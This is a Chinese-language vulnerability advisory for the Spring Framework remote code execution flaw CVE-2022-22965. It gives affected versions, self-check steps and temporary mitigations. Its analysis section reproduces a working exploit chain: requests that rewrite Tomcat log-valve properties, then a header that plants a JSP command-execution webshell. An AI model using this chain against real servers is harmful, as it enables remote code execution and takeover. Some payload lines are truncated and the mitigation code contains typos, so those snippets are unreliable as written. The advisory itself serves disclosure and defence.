漏洞通告–Spring Framework 远程代码执行漏洞

发布于 2022-04-01  420 次阅读


0x01 漏洞描述


该漏洞是SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。

0x02 影响范围


若满足如下两个条件则确定受到漏洞影响:

(1)使用JDK>=9

(2)Spring开发或衍生框架开发(存在spring-bean*.jar)

spring-framework < v5.3.18

spring-framework < v5.2.20.RELEASE

0x03 漏洞编号


CVE-2022-22965

0x04 漏洞等级


严重

0x05 漏洞复现


图片

0x06 漏洞环境


https://github.com/p1n93r/spring-rce-war

0x07 漏洞分析


Spring参数绑定不过多介绍,可⾃⾏百度;其基本使⽤⽅式就是利⽤ . 的形式,给参数进⾏赋值,实际赋值过程,会使⽤反射调⽤参 数的 getter or setter ;

这个漏洞刚爆出来的时候,我下意思认为是⼀个垃圾洞,因为我觉得需要使⽤的参数内,存在⼀个Class类型的属性,没有哪个傻逼开 发会在POJO中使⽤这个属性;但是当我认真跟下来的时候,发现事情没这么简单;例如我需要绑定的参数的数据结构如下,就是⼀个很简单的POJO:

/**
* @author : p1n93r 
* @date : 2022/3/29 17:34 
*/ 
@Setter
 @Getter
public class EvalBean {
public EvalBean() throws ClassNotFoundException {
System .out .println("[+] 调⽤了EvalBean .EvalBean");
}
public String name;
public CommonBean commonBean;

public String getName() {
System .out .println("[+] 调⽤了EvalBean .getName");
return name;
}
public void setName(String name) {
System .out .println("[+] 调⽤了EvalBean .setName");
this.name = name;
}
public CommonBean getCommonBean() {
System .out .println("[+] 调⽤了EvalBean .getCommonBean");
return commonBean;
}
public void setCommonBean(CommonBean commonBean) {
System .out .println("[+] 调⽤了EvalBean .setCommonBean");
this .commonBean = commonBean;
}
}

我的Controller写法如下,也是很正常的写法:


@RequestMapping("/index")
public void index(EvalBean evalBean, Model model){
System .out .println("=================");
System .out .println(evalBean);
System .out .println("=================");
}

于是我开始跟参数绑定的整个流程,当我跟到如下调⽤位置的时候,我愣住了:

图片

当我查看这个 cache 的时候,我惊呆了,为啥这⾥会有⼀个 class 属性缓存???!!!!!

图片

看到这⾥我就知道我意识错了,这不是⼀个垃圾洞,真的是⼀个核弹级别的漏洞!现在明⽩了,我们很简单的就可以获取到 class 对 象,那剩下的就是利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊shell。⼀条 完整的利⽤链如下:


class .module .classLoader .resources .context .parent .pipeline .first .pattern=%25%7b%66%75%63%6b%7d%69
class .module .classLoader .resources .context .parent .pipeline .first .suffix= .jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
class .module .classLoader .resources .context .parent .pipeline .first .prefix=fuckJsp
class .module .classLoader .resources .context .parent .pipeline .first .fileDateFormat=

看利⽤链就知道,是⼀个很简单的修改Tomcat⽇志配置,利⽤⽇志写shell的⼿法;具体的攻击步骤如下,先后发送如下5个请求:


http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送完毕这5个请求后,Tomcat的⽇志配置被修改成如下:

图片

接着我们只需要随便发送⼀个请求,加⼀个叫fuck的header,即可写⼊shell:


GET /stupidRumor_war_exploded/fuckUUUU HTTP/1 .1
Host : 127 .0 .0 .1 :8080
User-Agent : Mozilla/5 .0 (Windows NT 10 .0) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/99 .0 .7113 .93 Safari/537 .36
Accept : text/html,application/xhtml+xml,application/xml;q=0 .9,image/avif,image/webp,*/*;q=0 .8
fuck : <%Runtime .getRuntime() .exec(request .getParameter("cmd"))%>
Accept-Language : zh-CN,zh;q=0 .8,zh-TW;q=0 .7,zh-HK;q=0 .5,en-US;q=0 .3,en;q=0 .2
Accept-Encoding : gzip, deflate
Connection : close
Upgrade-Insecure-Requests : 1
Sec-Fetch-Dest : document
Sec-Fetch-Mode : navigate
Sec-Fetch-Site : none
Sec-Fetch-User : ?1
图片

可以正常访问shell: 

图片

0x08 漏洞自查


可按照以下步骤来判断是否受此漏洞影响:

1.排查是否使用了Spring框架(包括但不限于以下方法)

(1)排查项目中是否使用了Spring框架:

可遍历项目文件查找是否包含spring-beans-*.jar

(2)排查war包中是否存在Spring框架:

检查war包内是否存在spring-beans-*.jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。

(3)排查jar包部中的Spring:

检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。

2.排查包含Spring框架的项目使用的JDK版本,如果JDK版本>=9则存在风险。

0x09 漏洞修复

(一)WAF防护

在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对class.*, Class.*,*.class.*,*.Class.* 等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

(二)临时修复措施

需同时按以下两个步骤进行漏洞的临时修复:

1、在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.*","Class.*","*.class.*","*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加)

2、在用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。



import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class GlobalControllerAdvicc{
@InitBinder
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"};            dataBinder.setDisallowedFields(abd);
}
}

注:目前Spring官方已发布安全补丁,建议及时更新Spring至官方最新安全版本来修复此漏洞。

0x010 参考链接


https://github.com/helloexp/0day/tree/master/22-Spring%20Core

https://mp.weixin.qq.com/s/fhufVG57yHESORVywzSCXA

https://mp.weixin.qq.com/s/QtFC71efccrSTutvRczhiQ

原文地址:https://mp.weixin.qq.com/s/sYQ-CVumn5QI5KDo8xWKNQ


用心